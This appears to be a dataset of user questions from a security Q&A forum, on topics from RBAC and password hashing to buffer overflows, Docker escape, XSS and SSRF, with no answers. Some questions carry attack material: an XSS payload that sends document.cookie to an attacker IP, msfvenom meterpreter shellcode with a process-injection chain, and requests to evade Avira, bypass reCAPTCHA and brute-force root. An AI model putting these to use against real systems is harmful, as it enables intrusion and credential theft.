instruction
stringlengths
24
29.9k
I have a backend with a simple RBAC implementation. We have a list of permissions, each permission is associated with a list of roles, each user is given one or more roles. Is it ok to send this permissions/roles mapping to the browser, so that we can use it in the client side SPA (to hide/show some links/pages, avoid ...
I am trying to overflow a stack in C sample code to execute uncalled function in code. The problem is when i overflow stack by entering a(24 times), $EIP is 0x555555550061. I want it to be 0x555555555561. Why these two zeros are inserted automatically? I retrieved this values from gdb. For Instance, if that uncalled fu...
I am inside the container, and I am trying to learn escaping from container to host. So I create a vulnerable environment, on which the container is having `/var/run/docker.sock' file inside the container to make API calls. So I tried to create a container which will mount the path source / to container /host directory...
I recently installed a new printer in our network. Just because I was interested, I switched to wireshark when scanning for and adding the printer on windows. I noticed that it was discoverd through mdns and then instructed windows to download some drivers in form of dll files. Now I wonder: What if I would setup a rog...
I just don't understand how ESP points to the shellcode let's say we've sent this string string = 100 * 'A' + 'BBBB' + 'CCCC' I have filled the stack with 'AAAA..' and overwritten the EIP value and set it to 'BBBB' and I got the segmentation fault as expected, what I don't understand is when debugging the ESP points d...
Using a hardware security token as a second factor is generally considered quite a boost in security. But one of the issues I'm having is how to backup the (digital) keys used in the hardware device (especially in cases when just adding multiple hardware keys is not desired or an option). I'm currently using an open so...
Reading on the security of Borg backups and both encryption and authentication is used (Encrypt-then-MAC). My understanding is authentication is used to prevent tampering which is especially important for backups vulnerable to unauthorized access (cloud storage or safety deposit boxes for example). Reading on the secur...
Well I'm not a developer so I'm here to resolve a specific question. I have been investigating this subject for a while now and I need and opinion from experts or developers which really understand about application development (I know something but not this advance) in terms of application security. I was wondering if...
I am currently studying regarding SSRF. I noticed that an injection vector where SSRF might be present is always parameters that is related to url (Importing image using URL, others). I have encountered a couple of endpoints where request body contains url which is used to import image from the webserver. Something lik...
I’ve read about E2EE (end to end encryption) of Signal in web clients on a Signal Community discussion forum, and wonder why they say that the browser is insecure for E2EE and native apps are secure. I think the security issues for clients are the same. It can be harder in various systems based on their security police...
I am trying to learn about of xss attack and so I far, I understood that a successful attack result in the attacker capable of injecting malicious js in the victim's browser. If my understanding is correct, this attack will give him access to browsing data of a compromised domain only. For example, if the compromised d...
Based on Is it possible to export a GPG subkey's public component? I got familiar with: gpg --keyid-format long --with-fingerprint --list-key {e-mail} gpg --export --armor --output public-key.asc 633DBBC0! # for ssb1 and gpg --export-options export-minimal {key-id} I also found the following which I added to my gpg.c...
So here's the deal. I've been working on an SQL injection challenge and here's what comes up. There's a registration page where you input your Username, password and confirm password. It's vulnerable to INSERT SQL injection, I'm basically trying to insert my own data and make myself and admin (admin=1). However, there ...
I would like to distinguish the behavior of users to use a (public) Wi-Fi access point. It would be possible to access the log files of the access point, but I don't have the authority to. Alternatively, I set this experiment for sniffing (sensing) the Wi-Fi packets: There is an access point; there are many users, too ...
In what ways site administrators can detect incoming CSRF attacks? Is it possible or not?
I'm a listener of the podcast "Security Now" where they often claim that there are no reasons to limit the number of characters a user can use in their passwords when they create an account on a website. I have never understood how it is even technically possible to allow an unlimited number of characters and how it co...
I encountered this type of vulnerability a couple of times but was not able to fully exploit it. This vulnerability is a self-xss which is triggered from file names. E.g. If I were to upload a file named [xss-payload].png, it will be executed as javascript and the window will prompt 1. But it only goes as far as that. ...
In PHP a magic hash attack happens when loose type comparisons cause completely different values to be evaluated as equal, causing a password "match" without actually knowing the password. Here is an example: <?php if (hash('md5','240610708',false) == '0') { print "'0' matched " . hash('md5','240610708',false); } If...
The company I work at uses zscaler to restrict access to certain websites. Earlier today, I tried to visit pastebin.com, but got the error message in the picture below: Trying to google why pastebin is considered a high risk service, I didn't really find much, except this one blog post which talks about certain hacker...
I'm specifically referring to the macof tool (part of the dsniff package). As I understand it, MAC flooding is meant to overload a switch's CAM table, which maps MAC addresses to switch ports. Where does specifying IP addresses and/or TCP ports fit into this? Does doing so allow an attacker to bypass a Layer 3 switch's...
This question is inspired by Is there any security risk in not setting a maximum password length?. Specifically the accepted answer https://security.stackexchange.com/a/238033/9640 says limits are recommended to avoid exhausting the server. Also it seems to me that if the server is hashing your password to a n digit ha...
I'm the administrator of a Wordpress site, with just two users: me and one other user. Last days I've received multiple password recovery attempts for that other user (as an administrator I get a mail from the Wordfence security plugin). The other user gets the reset mail in his mailbox. The user didn't initiate these ...
I'm in the process of developing a B2B (business-to-business) application. I've implemented JWT auth, and it is working as expected. Right now the authentication functions as if it were a B2C (business-to-customer) app. I'm trying to determine the best practices for B2B authentication. Is having one authentication acco...
I am running Kali linux 2020.3 on VBox on Windows 10. I put my wireless card AWUS036ACH chipset Realtek RTL8812AU in monitor mode using airmon-ng start wlan0. Then i use airodump-ng wlan0 to capture all the traffic that is passing by. When i use airodump-ng wlan0 it captures a WPA Handshake of any AP and then switch f...
Let's say I have an address for an API like this: mywebsite.com/api/mydata If accessed, a JSON will appear like this: [ { "id":"1", "name":"John" }, { "id":"2", "name":"Smith" } ] The result defaults will be displaying the entire data if a post has no parameters. If you use post "ID" and the I...
I want to perform return to libc in 64 bit architecture using execve. I found a gadget with /bin/sh in it (the /bin/sh offset is 18a143): cbcd8: 00 00 cbcda: 4c 89 ea mov rdx,r13 cbcdd: 4c 89 e6 mov rsi,r12 cbce0: 48 8d 3d 5c e4 0b 00 lea rd...
I'm a noob in data security area and I'm working on PoC for an app for managing some files. Now these files might be anything from a leave of absence form to potentially confidential agreements. Being a noob I did advise my team that we should hire a security expert and/or have a security audit once PoC is complete. Th...
On many materials of Passpoint and Hotspot 2.0 there is Register and Provision steps. For example https://youtu.be/p4gDW6SJ150?t=845 But I cant find RFC or technical materials how it must be implemented. I found offline provision https://docs.microsoft.com/en-us/windows/win32/nativewifi/prov-wifi-profile-via-website fo...
I'm trying to stack overflow of one C program. But I'm confused by encoding or decoding algorithms. I used ollydbg to observe registers. I tried entering "a" 28 times. And it should insert the last "a" in the EIP register because of strcopy cmd used. When the last "a" is flowed to EIP it reads as 61. According to ASCII...
One way to secure a password in the database is to hash it with salt i.e. appending a random string to the password and then hash it and store the value. Does encrypting the password || salt then hashing it make it more secure? Is it really necessary (or can I skip the encryption part)?
I have been tasked with fixing a XSS issue in an ASP.Net application, but I have never seen this kind of attack before so first it would be great if I could understand how this is working and then I need some help because I haven't been able to fix it. The attack goes like so: https://example.com/AnyPageInTheApplicatio...
I have read that devices such as the old Nokia 8310 are used because the privacy/anonymity they provide (for instance for drug dealers) I have tried to find out if the 'new' vanilla Nokias, such as Nokia 105, provide the same level of privacy. I have found that they don't have GPS and use Symbian, but haven't found any...
Does attacking difficulty of a block cipher depend on it's block length compared to a substitution cipher?
Is there any classification of vulnerabilities ? As we know, there are many vulnerabilities, such as: SQL injection vulnerability, File upload vulnerability, File contains vulnerability, XSS, SSRF, XXE, database leak and so on. but I did not find an authoritative classification of vulnerabilities. who can give author...
An android malware can do a lot of damage, whats the absolute worst thing it can do ? Consider a layman's Android device which is not rooted.
I'm working on an offline windows application that generates and loads key results as files. However, these files provide key insights into how our product works internally. To make matters worse my users will for sure be tech-savvy but not hacker like tech-savvy. So if I do not encode it, we give away our magic. So gi...
Is security compromised if every client uses the same client certificate to authenticate with WPA2-EAP-TLS? In essence, we want to provide an open wifi network, but want to ensure users cannot see each other's traffic. With WPA2-PSK, this appears to be impossible. As users are expected to have our app installed, the op...
Can someone confirm if the following solution is actually 2FA? User has to install a special mobile app. When the mobile app is opened for the first time, the user is asked to associate the device with the account in the system. On the web login screen, QR code is displayed. A user opens the previously installed mobile...
He stolen my imei number and even he knows my phone number. Using this can he get my any information such as call details, whats app messages and other phone activity???
When installing Kali from Microsoft Store, I wasn't prompted with a user agreement license. Is Microsoft able to monitor my applications? How safe is it to use WSL in that context? (From privacy perspective)
Is it safe to use non-ASLR DLL in an enabled ASLR EXE? Would the DLL be loaded to and will use random addressed, or should all the dependencies enable ASLR? In addition, what about other security mechanisms such as DEP and SHE?
I've been thinking about this problem for some time and I wanted to ask if there are any known methods, or research papers, about how to prove "authenticity" or correctness of data originating from a potentially compromised source (remote server, process, etc). Specifically what I've been imagining is say you have serv...
So I received a laptop from the school and I was wondering if your logged into your own home network but signed into the computer (not in like a google account but like when your first turn on the computer you got to enter the username and password however the login for the computer is universal meaning to say it’s the...
I'm writing an application that needs to deterministically encrypt some data (where two equal ciphertexts will produce two equal plaintexts; this is acceptable and in fact desirable for this application), and I'd like to stay as far away from low-level crypto stuff as possible, as such I'd like to use nacl's SecretBox....
One of tor's stated goals is to help individuals such as journalists, activists and whistleblowers protect against surveillance, and in many countries people in those lines of work or activities are usually subject to surveillance, especially targeted surveillance. Given a scenario in which a journalist working in an e...
I have been incharged to manage online votings at school for school president and vice president for 11th grade only. A group of us will be excluded from voting of course. We plan to use Google forms, since it's easier and it's free. So, everyone will be required to use the school email @westschool.com and can only vo...
The U.S. Department of Energy (DOE) seems to be very excited about the potential of a quantum Internet: One of the hallmarks of quantum transmissions is that they are exceedingly difficult to eavesdrop on as information passes between locations. Scientists plan to use that trait to make virtually unhackable networks. ...
This is from Christoff Paar's book on Cryptography Let’s assume a protocol for wire transfers between banks (Fig. 5.2). There are five fields which specify a transfer: the sending bank’s ID and account number, the receiving bank’s ID and account number, and the amount. We assume now (and this is a major simplification...
People are naturally skeptical when they hear about the HaveIBeenPwned pwned passwords search, because who would in their right mind enter their password into a random website? And sure, HIBP uses k-anonymity to make sure they don't know your password, but if you're not familiar with how hashing algorithms work and how...
As a service provider, I allow logged in users to upload documents to a web server, and upload it to S3. The logged in user should subsequently be able to view his own documents, and I want to serve it directly from S3, with some token-based authentication per request. I thought that this was a pretty simple and stand...
We’re currently developing a Next.js application (server side rendering) and are looking for secure ways to keep the users logged in for longer periods of time. AFAIK this can either be done using silent authentication or refresh tokens. General note: When a user is not logged in yet, we can redirect the user to a logi...
I received an sms on my iphone informing me from my local delivery company that I have a parcel pending and to click on the link, which I did as the link bought me to my local delivery company home webpage which looks very legitimate (https://mysingpost.com) with all the logos imitated well. I was asked to key my mobil...
I am wondering if it's safe to send the signup, reset password, 6 digit verification code in the subject of the email. Example: "Welcome to the Application, Your verification code is XXXXXX" The purpose of sending the verification code in the subject is to make it easily accessible on mobile devices. Instead of opening...
HTTP basic auth sends credentials un-hashed and unencrypted over the wire, relying on TLS for confidentiality in transit. However, should the password be stored hashed using a standard KDF in the backend for comparison on receipt?
A client wants to track a specific employee's browsing habits. Assuming that the employee knows how to clear their browser history, is there any way to recover the history so it can be read by BrowserHistoryView or some other software?
Correct me if I am wrong, please. I understand that 2FA (MFA) increases account security in case an attacker obtains a password which might be possible via various ways, e.g. phishing, database breach, brute-force, etc.. However, if the host where one uses the 2FA device is compromised (full system control) then 2FA is...
Let's imagine that we have an SMS verification auth, and using random 4-digit codes, i.e. 1234, 5925, 1342 and etc. I'm using this random inclusive algorithm on my node.js server: function getRandomIntInclusive(min, max) { min = Math.ceil(min); max = Math.floor(max); return Math.floor(Math.random() * (max -...
Can Hydra ssh to remote host and attempt a password list against su root? I am trying to recover the root password to an old device. It is an old Apple jailbroken Apple device, running IOS8. The device is somewhat slow, but have no rate limit or delays. I am able to run 150 tries/min with hydra for the ssh password. ...
OWASP top 10 lists the top 10 web security risks. But I didn't find the other vulnerabilities out of the top 10 in OWASP site. Is there any document that contains all web vulnerabilities?
So, suppose you gain access to my wifi router through some attacks (may be brute-force). After a days or two I changed my wifi password with more complexity. So what can you(a attacker) do to again to gain gain access to the same network? Will it be possible that the attacker make some configuration in my router and th...
I've noticed that some sites publish very detailed password requirement statements to users. Here's an example screenshot (not singling out this site - just a random image that came up when googling 'password requirements'): In this case, a bad actor would know details about the password including: Minimum password l...
Suppose I need to store a bunch of passwords: storing them in a txt or odt file inside an encrypted container, such as the ones produced by VeraCrypt, is bad practice? Would I put myself at risk? If so what are my other free options? (So no password managers) Do I need to also hash my passwords before storing them in t...
Can a client with an ECC certificate and a server with RSA certificate establish a mTLS connection? Can they agree on a cipher suite? Why?
A vulnerable C program to stack buffer overflow, requires 112 byte stuffing to get to return address of the calling function. Here the Strcpy() is the vulnerable function. void f(char *name){ char buf[100]; strcpy(buf, name); } void main(int argc, char *argv[]){ f(argv[1]); } Trying to write the rop gadgets to...
Let's state that I have a huge bunch of truly unpredictable random data in file "random.bin". The random data has been created outside of my system and has been securely transfered into my system. Questions: How could I feed this file to the OS entropy pool so that a subsequent call to /dev/random by my fancy software...
As a developer, when an Incident comes in and reaches Tier 3 support (The development team), how can the developers get access to query the Production Database, while remaining PCI Compliant? I'm admittedly a newbie when it comes to PCI Compliance. Is this just a case of Read-Only accounts? Is this a case of data maski...
If they do keep our private key and by chance if anyone within the CA organization listen to our conversation. Isn't it a confidentiality breakage?
Is there a tool, or a command for linux that can make possible to redirect HTTPS site to another HTTPS site on LAN? i'm using Kali Linux, and all the tools and commands that i found was to redirect HTTP to a local hosted website IP. I want to make this: https://www.google.com > https://myblog.com not this: http://examp...
What would happen if someone deauthed a cars mac address?
As an example, one of the most basic malware to inject into a process to get a C2 beacon goes like this: Get Handle of a process -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread Now writing this in C/C++ is quite native as it can easily communicate with WinAPI. Are there any benefits in writing this in an...
I have read about MAC vs. DAC in the Internet, but I still fail to understand, what kind of attack it is impossible to protect against if one only uses DAC+capabilities in comparison to MAC+DAC+capabilities. If a process does not run as root and lacks CAP_DAC_OVERRIDE, CAP_FOWNER and other dangerous capabilities, it ca...
I have GPG agent forwarding via SSH RemoteForward working up to a point. I can list my private and public keys on the remote host. If I try to decrypt a file remotely, the PIN is prompted for but the text is stepped, garbled and the passphrase prompt echoes the passphrase (at least several random chars). I can skip the...
Wouldn't it be more efficient if the client initiated the connection by generating their own message, and encrypting it using their private key, then sending both messages to the server so it would decrypt and compare the messages?
If nmap shows all ports are filtered or closed, what would be the next logical step to take? Does that mean I would need to get physical access to the device? or is there any other ways to get information? I'm trying to scan my own smartphone and all the ports are closed, and I did the same with my laptop and all the p...
When data breaches occur, is a database always involved? In the case of databases being involved, do hackers figure out how the data is stored and read this or do they just figure out how to make queries to the database via the DBMS? Is accessing the data files less of a mystery for open-source files and thus a possibl...
I was at the ISO/IEC 27001 official web page. I saw a the publication for the norm. It's about 23 pages. So I was wondering if studying those 23 pages would prepare me enough, lets say at 80%, to passe exams for foundation, lead auditor or lead implementer exams ?
I work as a solutions architect for web-based systems on AWS. As part of this role, I often respond to Information Security questionnaires. Nearly all questionnaires request information about data encryption at-rest and in-transit. However only a much smaller percentage ask about other security aspects, such as passwor...
I am currently doing a boot2root VulnHub machine and I have found an XSS entry point to steal admin cookies. The strange thing is that if I run my SimpleHTTPServer on port 80 then the following payload triggers <script>document.write('<img src="http://192.168.1.130/'+document.cookie+'" width=0 height=0 border=0 />');</...
apt InRelease files update like twice every day, in ubuntu repositories and their mirrors. similarly in ubuntu and debian based distros, and other apt repositories. these files are small text files that contain hashes of other [fresh] text files, which contain hashes of [fresh] package files. and these files are signed...
I have set up dynamic port forwarding using SSH. Although nmap scans over proxychains return accurate results, a SYN scan does not.
In Cuba the telecoms/ISP monopoly, Etecsa, works with the political police to spy on dissidents, journalists and others. A common attack in Cuba is therefore SIM Swapping which is easy for them. It is also effective in order to eavesdrop on phone conversations and SMS. Would the SIM Swap enable the attacker to also hac...
I've hacked a box in an internal network 10.0.0.1 and I want to use 'pass-the-hash attack' on another box 10.0.0.2 but this box has Avira anti-virus installed in, and the common payload windows/meterpreter/reverse_tcp is detectable by Avira. So I made my own backdoor and it can bypass Avira; how can I let metasploit us...
What can you do that will make it easier for you to trust a third-party server? For example, using Intel sgx enclaves.
I am trying to use this exploit on HTB : https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi pretty simple yet metasploit gives me an error : all encoders failed to encode I have spent hours trying to find a solution but I found nothing :/ This is screenshot for the error https://ibb.co/sQ5cCFY Metasp...
Problem How do I ensure that I cannot access confidential data manually through the database? Practically speaking, this is a firestore database on google cloud, and I have access to the administrator google account. For the purposes of this question, we assume the code is perfect, and is trusted to be not malicious in...
I'm in need of an authentication & authorization service that can manage our app's pool of users. I stumbled upon Keycloak and have been checking it for the past few days, but I'm wondering why Keycloak doesn't provide an API for a client to sign-in/sign-up on behalf of a user. Is this because Keycloak is exclusively m...
I was researching fuzzing using AFL and hongofuzz and they mainly support applications that run in the terminal. After that I came across a list of resources for network fuzzers, and found afl-net which was well maintained. I tried using aflnet but it does not support the http protocol. I do not want to edit the code o...
https://dev.deluge-torrent.org/wiki/Download https://ftp.osuosl.org/pub/deluge/windows/?C=M;O=D The latest version of Deluge for Windows that can actually be downloaded and installed is deluge-1.3.15-win32-py2.7.exe from 2017-05-12. That's well over three years ago now! They have been discussing the problems of releasi...
For an company with sensitive customer relations and above average secrecy how much does it make sense to implement S/MIME or PGP for providing their E-mails the verification functionality (please correct me if I'm wrong), which most E-mail clients to my best of knowledge support, even though the contacts of the compan...
In the past I have used two methods for securing files for web apps. Put them outside of webroot (which is usually {www || http}/app). So files would usually be stored outside apache altogether. OR Restrict access within my .htaccess file My friend suggested another alternative which is similar to option 1 but allo...
I am trying to understand how PKI is used to boot an ARM board. The following image relates to BL1: The booting steps state: Also from: The certificate used in step 1 appears to be a content certificate. In the diagram it suggests in contains the public key used to sign a hash, and the signed hash for BL2. Referring...
I've done some research and it looks like that the way linux keeps history is less about security and audit and more about helping the user. Even after making changes to instantly log the command and space commands the command still wont log till finished. Is there any way to improve audit logging other then possibly w...
Let's assume we have an internal environment consisting of some distributed systems, one central system and an internal PKI. The central system is serving a cluster of HSMs that shall be accessable by network in a securely controlled way. On the distributed systems, there are different application services run by separ...
I happen to have a few hashes generated with code that did this (it has been changed to use a more "standard" bcrypt call): $ python3 >>> import hmac >>> hmac.new(b'The quick brown', b'123456', digestmod='sha1').hexdigest() 'c3b8986510970b778b26c42d954a93411f32f301' i.e., it calculates hmac.sha1(key=salt, message=pass...
By saving all the passwords for all users forever, are companies accidentally creating a less secure environment? Related to this question: Why do some sites prevent users from reusing their old passwords? I understand that companies feel that they need to be protected, but by everyone taking the same strategy, it crea...
There have been quite a lot of data breaches in the past and I wonder how the companies got to know them. Were they only finding it in the news? Did individuals inform them? What about small data breaches, e.g. if you have a user who has an account that was hacked but the exact same (email, password) combination is use...
How can I bypass the recaptcha on a website with python requests so that I don't have to solve it?
I want to inject meterpreter shellcode in a c++ program. When I create .exe file in msfvenom, I try it in my virtual machine (Windows 7) and it works well. But when I create shellcode and inject it into a c++ file, the program compiles successfully but crashes when I launch it in my VM. msfvenom -p windows/x64/meterpre...
Background A while ago I started using F strings in Python but remembered seeing some security concerns with using them with user input so I have made a point of not using them for those situations. Question Are there security concerns to using python f strings with user input. For example, is it possible for a user to...
So I'm by no means a security expert. I'm just a recently graduated software developer who is working on a contract project and I want to ensure I'm taking appropriate security measures for my client. Essentially, my program functions as a basic HTTPS listener service. It listens for messages from an existing system, a...